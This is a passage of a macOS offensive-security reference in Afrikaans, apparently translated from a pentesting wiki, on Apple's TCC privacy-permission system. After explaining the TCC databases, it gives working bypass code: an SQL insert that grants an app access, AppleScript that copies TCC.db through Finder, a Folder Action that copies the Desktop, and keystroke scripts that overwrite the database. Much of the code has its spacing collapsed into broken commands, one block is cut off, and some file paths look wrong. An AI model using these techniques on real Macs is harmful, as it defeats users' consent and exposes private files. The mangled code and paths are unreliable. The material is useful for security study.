TCC (Deursigtigheid, Toestemming en Beheer) is 'n sekuriteitsprotokol wat fokus op die regulering van aansoektoestemmings. Sy primêre rol is om sensitiewe kenmerke soos liggingdiens, kontakte, foto's, mikrofoon, kamera, toeganklikheid en volle skyftoegang te beskerm. Deur uitdruklike gebruikerstoestemming te vereis voordat 'n aansoek toegang tot hierdie elemente kry, verbeter TCC privaatheid en gebruikerbeheer oor hul data.
Gebruikers kom TCC teen wanneer aansoeke toegang tot beskermde kenmerke versoek. Dit is sigbaar deur 'n venster wat gebruikers toelaat om toestemming te gee of te weier. Verder akkommodeer TCC direkte gebruikeraksies, soos sleep en laat val van lêers in 'n aansoek, om toegang tot spesifieke lêers te verleen, en verseker dat aansoeke slegs toegang het tot wat uitdruklik toegelaat is.
TCC word hanteer deur die daemon wat in /System/Library/PrivateFrameworks/TCC.framework/Support/tccd geleë is en gekonfigureer is in /System/Library/LaunchDaemons/com.apple.tccd.system.plist (registreer die mach-diens com.apple.tccd.system).
Daar is 'n gebruikermodus tccd wat vir elke ingeteken gebruiker hardloop, gedefinieer in /System/Library/LaunchAgents/com.apple.tccd.plist wat die mach-diens com.apple.tccd en com.apple.usernotifications.delegate.com.apple.tccd registreer.
Hier kan jy sien hoe die tccd as stelsel en as gebruiker hardloop:
Toestemmings word geërf van die ouer aansoek en die toestemmings word opgespoor gebaseer op die Bundel-ID en die Ontwikkelaar-ID.
TCC-databasisse
Die toestemmings word dan gestoor in sekere TCC-databasisse:
Die stelselwye databasis in /Library/Application Support/com.apple.TCC/TCC.db.
Hierdie databasis is SIP-beskerm, sodat slegs 'n SIP-omleiding daarin kan skryf.
Die gebruiker TCC-databasis $HOME/Library/Application Support/com.apple.TCC/TCC.db vir gebruikersvoorkeure.
Hierdie databasis is beskerm sodat slegs prosesse met hoë TCC-voorregte soos Volle Skyftoegang daarin kan skryf (maar dit word nie deur SIP beskerm nie).
Die vorige databasisse is ook TCC-beskerm vir leestoegang. Jy sal nie in staat wees om jou gewone gebruiker TCC-databasis te lees tensy dit van 'n TCC-bevoorregte proses af is.
Onthou egter dat 'n proses met hierdie hoë voorregte (soos FDA of kTCCServiceEndpointSecurityClient) in staat sal wees om die gebruikers TCC-databasis te skryf.
Daar is 'n derde TCC-databasis in /var/db/locationd/clients.plist om kliënte aan te dui wat toegang tot liggingdiens toegelaat word.
Die SIP-beskermde lêer /Users/carlospolop/Downloads/REG.db (ook beskerm teen leestoegang met TCC), bevat die ligging van al die geldige TCC-databasisse.
Die SIP-beskermde lêer /Users/carlospolop/Downloads/MDMOverrides.plist (ook beskerm teen leestoegang met TCC), bevat meer TCC-toegestane toestemmings.
Die SIP-beskermde lêer /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist (maar leesbaar deur enigiemand) is 'n lys van programme wat 'n TCC-uitsondering benodig.
Die TCC-databasis in iOS is in /private/var/mobile/Library/TCC/TCC.db
Die kennisgewingsentrum UI kan veranderinge in die stelsel TCC-databasis maak:
Nietemin kan gebruikers reëls verwyder of navrae doen met die tccutil opdraglyn-hulpprogram.
Doen navrae in die databasisse
sqlite3~/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite>.schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite>selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Check user approved permissions for telegramsqlite>select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite>select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
sqlite3/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite>.schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite>selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Get all FDAsqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;
# Check user approved permissions for telegramsqlite>select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite>select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
Deur beide databasisse te ondersoek, kan jy die regte wat 'n app toegelaat het, wat dit verbied het, of wat dit nie het nie (dit sal daarvoor vra) nagaan.
Die diens is die TCC toestemming string verteenwoordiging
Die klient is die bundel-ID of pad na binêre lêer met die regte
Die klient_tipe dui aan of dit 'n Bundel Identifiseerder(0) of 'n absolute pad(1) is
Hoe om uit te voer as dit 'n absolute pad is
Doen net launctl load jou_bin.plist, met 'n plist soos:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><!-- Label for the job --><key>Label</key><string>com.example.yourbinary</string><!-- The path to the executable --><key>Program</key><string>/path/to/binary</string><!-- Arguments to pass to the executable (if any) --><key>ProgramArguments</key><array><string>arg1</string><string>arg2</string></array><!-- Run at load --><key>RunAtLoad</key><true/><!-- Keep the job alive, restart if necessary --><key>KeepAlive</key><true/><!-- Standard output and error paths (optional) --><key>StandardOutPath</key><string>/tmp/YourBinary.stdout</string><key>StandardErrorPath</key><string>/tmp/YourBinary.stderr</string></dict></plist>
Die auth_value kan verskillende waardes hê: denied(0), unknown(1), allowed(2), of limited(3).
Die auth_reason kan die volgende waardes aanneem: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
Die csreq veld is daar om aan te dui hoe om die binêre lêer te verifieer om uit te voer en die TCC-toestemmings te verleen:
# Query to get cserq in printable hexselect service, client, hex(csreq) from access where auth_value=2;# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"echo"$BLOB"|xxd-r-p>terminal-csreq.bincsreq-r--t<terminal-csreq.bin# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign-d-r-/Applications/Utilities/Terminal.app/2>&1|awk-F ' => ' '/designated/{print $2}')echo"$REQ_STR"|csreq-r--b/tmp/csreq.binREQ_HEX=$(xxd-p/tmp/csreq.bin|tr-d '\n')echo"X'$REQ_HEX'"
Jy kan ook reeds toegekende regte aan programme in Sisteemvoorkeure --> Sekuriteit & Privaatheid --> Privaatheid --> Lêers en Vouers kontroleer.
Gebruikers kanreëls verwyder of navrae doen met behulp van tccutil.
Stel TCC-regte terug
# You can reset all the permissions given to an application withtccutilresetAllapp.some.id# Reset the permissions granted to all appstccutilresetAll
TCC Handtekeningkontroles
Die TCC databasis stoor die Bundel-ID van die aansoek, maar dit stoor ook inligting oor die handtekening om seker te maak dat die aansoek wat toestemming vra, die regte een is.
# From sqlitesqlite>selectservice,client,hex(csreq) fromaccesswhereauth_value=2;#Get csreq# From bashecho FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checkscsreq-t-r/tmp/telegram_csreq.bin(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
Daarom sal ander toepassings wat dieselfde naam en bundel-ID gebruik nie toegang hê tot toestemmings wat aan ander programme verleen is nie.
Toestemmings & TCC-toestemmings
Apps moet nie net versoek nie en toegang verkry tot sekere bronne nie, hulle moet ook die relevante toestemmings hê. Byvoorbeeld, Telegram het die toestemming com.apple.security.device.camera om toegang tot die kamera te versoek. 'n Toepassing sonder hierdie toestemming sal nie toegang tot die kamera hê nie (en die gebruiker sal selfs nie vir die toestemmings gevra word nie).
Nietemin, vir toepassings om toegang tot sekere gebruikersgids te verkry, soos ~/Desktop, ~/Downloads en ~/Documents, hoef hulle nie spesifieke toestemmings te hê nie. Die stelsel sal toegang outomaties hanteer en die gebruiker soos nodig vra.
Apple se toepassings sal nie versoek genereer nie. Hulle bevat vooraf verleen regte in hul toestemmingslys, wat beteken dat hulle nooit 'n pop-up sal genereer of in enige van die TCC-databasisse sal verskyn nie. Byvoorbeeld:
Dit sal verhoed dat Kalender die gebruiker vra om toegang tot herinnerings, kalender en die adresboek te verkry.
Afgesien van 'n paar amptelike dokumentasie oor toestemmings is dit ook moontlik om onoffisiële interessante inligting oor toestemmings te vind inhttps://newosxbook.com/ent.jl
Sommige TCC-toestemmings is: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Daar is geen openbare lys wat almal definieer nie, maar jy kan hierdie lys van bekende eenhede nagaan.
Sensitiewe onbeskermde plekke
$HOME (self)
$HOME/.ssh, $HOME/.aws, ens.
/tmp
Gebruikerbedoeling / com.apple.macl
Soos voorheen genoem, is dit moontlik om toegang tot 'n toepassing tot 'n lêer te verleen deur dit daarheen te sleep. Hierdie toegang sal nie in enige TCC-databasis gespesifiseer word nie, maar as 'n uitgebreidekenmerk van die lêer. Hierdie kenmerk sal die UUID van die toegelate toepassing stoor:
xattrDesktop/private.txtcom.apple.macl# Check extra access to the file## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_readDesktop/private.txtFilename,Header,AppUUID"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3# Get the UUID of the appotool-l/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal|grepuuiduuid769FD8F1-90E0-3206-808C-A8947BEBD6C3
Dit is merkwaardig dat die com.apple.macl attribuut bestuur word deur die Sandbox, nie deur tccd nie.
Merk ook op dat as jy 'n lêer skuif wat die UUID van 'n app op jou rekenaar toelaat na 'n ander rekenaar, omdat dieselfde app verskillende UIDs sal hê, sal dit nie toegang verleen tot daardie app nie.
Die uitgebreide attribuut com.apple.maclkan nie skoongemaak word soos ander uitgebreide eienskappe nie omdat dit beskerm word deur SIP. Nietemin, soos verduidelik in hierdie pos, is dit moontlik om dit te deaktiveer deur die lêer te zip, dit te verwyder en dit weer te ontzip.
TCC Privesc & Omgang
Invoeging in TCC
As jy op 'n punt skryftoegang oor 'n TCC-databasis kry, kan jy iets soos die volgende gebruik om 'n inskrywing by te voeg (verwyder die kommentaar):
Invoeging in TCC voorbeeld
```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```
TCC-lading
As jy daarin geslaag het om binne 'n program met sekere TCC-toestemmings te kom, kyk na die volgende bladsy met TCC-ladinge om dit te misbruik:
Die TCC-naam van die Outomatisering-toestemming is: kTCCServiceAppleEvents
Hierdie spesifieke TCC-toestemming dui ook die toepassing aan wat binne die TCC-databasis bestuur kan word (sodat die toestemmings nie net alles toelaat om bestuur te word nie).
Finder is 'n toepassing wat altyd FDA het (selfs al verskyn dit nie in die UI nie), so as jy Outomatisering-voorregte daaroor het, kan jy sy voorregte misbruik om dit sekere aksies te laat uitvoer.
In hierdie geval sal jou program die toestemming kTCCServiceAppleEvents oor com.apple.Finder benodig.
# This AppleScript will copy the system TCC database into /tmposascript<<EODtellapplication"Finder"set homeFolder topath to home folder asstringset sourceFile to (homeFolder &"Library:Application Support:com.apple.TCC:TCC.db") asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
osascript<<EODtellapplication"Finder"set sourceFile toPOSIX file"/Library/Application Support/com.apple.TCC/TCC.db"asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
Jy kan hierdie misbruik om jou eie gebruiker TCC-databasis te skryf.
Met hierdie toestemming sal jy in staat wees om finder te vra om toegang tot TCC-beperkte mappe en jou die lêers te gee, maar na my mening sal jy nie in staat wees om Finder te laat arbitrêre kode uitvoer om sy FDA-toegang ten volle te misbruik nie.
Daarom sal jy nie in staat wees om die volle FDA-vermoëns te misbruik nie.
Dit is die TCC-prompt om Outomatiseringsvoorregte oor Finder te kry:
Let daarop dat omdat die Automator-toepassing die TCC-toestemming kTCCServiceAppleEvents het, kan dit enige toepassing beheer, soos Finder. Dus, deur die toestemming te hê om Automator te beheer, kan jy ook die Finder beheer met 'n kode soos die een hieronder:
Kry 'n skaal binne Automator
```applescript osascript<
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD
Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
</details>
Net so met die **Script Editor-toepassing,** dit kan Finder beheer, maar deur 'n AppleScript te gebruik, kan jy dit nie dwing om 'n skrip uit te voer nie.
### Outomatisering (SE) na sommige TCC
**Stelselgebeure kan Mapaksies skep, en Mapaksies kan toegang verkry tot sommige TCC-mappe** (Skermblad, Dokumente & Aflaaibare lêers), so 'n skrip soos die volgende kan gebruik word om van hierdie gedrag misbruik te maak:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true
-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath
-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if
-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD
# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
Outomatisering (SE) + Toeganklikheid (kTCCServicePostEvent|kTCCServiceAccessibility) na FDA*
Outomatisering op System Events + Toeganklikheid (kTCCServicePostEvent) maak dit moontlik om sleutelkodes na prosesse te stuur. Op hierdie manier kan jy Finder misbruik om die gebruikers TCC.db te verander of om FDA aan 'n willekeurige program te gee (alhoewel 'n wagwoord hiervoor gevra kan word).
Voorbeeld van Finder wat die gebruikers TCC.db oorskryf:
-- store the TCC.db file to copy in /tmposascript <<EOFtellapplication"System Events"-- Open Findertellapplication"Finder"toactivate-- Open the /tmp directorykeystroke"g" using {command down, shift down}delay1keystroke"/tmp"delay1keystroke returndelay1-- Select and copy the filekeystroke"TCC.db"delay1keystroke"c" using {command down}delay1-- Resolve $HOME environment variableset homePath tosystem attribute"HOME"-- Navigate to the Desktop directory under $HOMEkeystroke"g" using {command down, shift down}delay1keystroke homePath &"/Library/Application Support/com.apple.TCC"delay1keystroke returndelay1-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke"TCC.db"delay1keystroke returndelay1key code51 using {command down}delay1-- Paste the filekeystroke"v" using {command down}end tellEOF
As jy kTCCServiceEndpointSecurityClient het, het jy FDA. Einde.
Sisteembeleid SysAdmin-lêer na FDA
kTCCServiceSystemPolicySysAdminFiles maak dit moontlik om die NFSHomeDirectory eienskap van 'n gebruiker te verander wat sy tuisgids verander en dus toelaat om TCC te omseil.
Gebruiker TCC DB na FDA
Deur skryfregte oor die gebruiker TCC databasis te verkry, kan jy nie jouself FDA regte gee nie, slegs die een wat in die stelseldatabasis woon kan dit gee.
Maar jy kan jouself Outomatiese regte tot Finder gee, en die vorige tegniek misbruik om na FDA* op te skaleer.
FDA na TCC-regte
Volle Skyftoegang se TCC-naam is kTCCServiceSystemPolicyAllFiles
Ek dink nie dit is 'n werklike privilige-opskaling nie, maar net in die geval dat jy dit nuttig vind: As jy 'n program met FDA beheer, kan jy die gebruikers TCC-databasis verander en jouself enige toegang gee. Dit kan nuttig wees as 'n volhardingstegniek in die geval dat jy jou FDA-regte mag verloor.
SIP-omseiling na TCC-omseiling
Die stelsel TCC-databasis word beskerm deur SIP, daarom sal slegs prosesse met die aangeduide toekennings in staat wees om dit te verander. Daarom, as 'n aanvaller 'n SIP-omseiling oor 'n lêer vind (kan 'n lêer wat deur SIP beperk word, verander), sal hy in staat wees om:
Die beskerming verwyder van 'n TCC-databasis, en homself alle TCC-regte gee. Hy kan enige van hierdie lêers byvoorbeeld misbruik:
Die TCC-stelseldatabasis
REG.db
MDMOverrides.plist
Daar is egter 'n ander opsie om hierdie SIP-omseiling te misbruik om TCC te omseil, die lêer /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist is 'n lys van programme wat 'n TCC-uitsondering benodig. Daarom, as 'n aanvaller die SIP-beskerming van hierdie lêer kan verwyder en sy eie aansoek kan byvoeg, sal die aansoek in staat wees om TCC te omseil.
Byvoorbeeld om terminal by te voeg:
# Get needed infocodesign-d-r-/System/Applications/Utilities/Terminal.app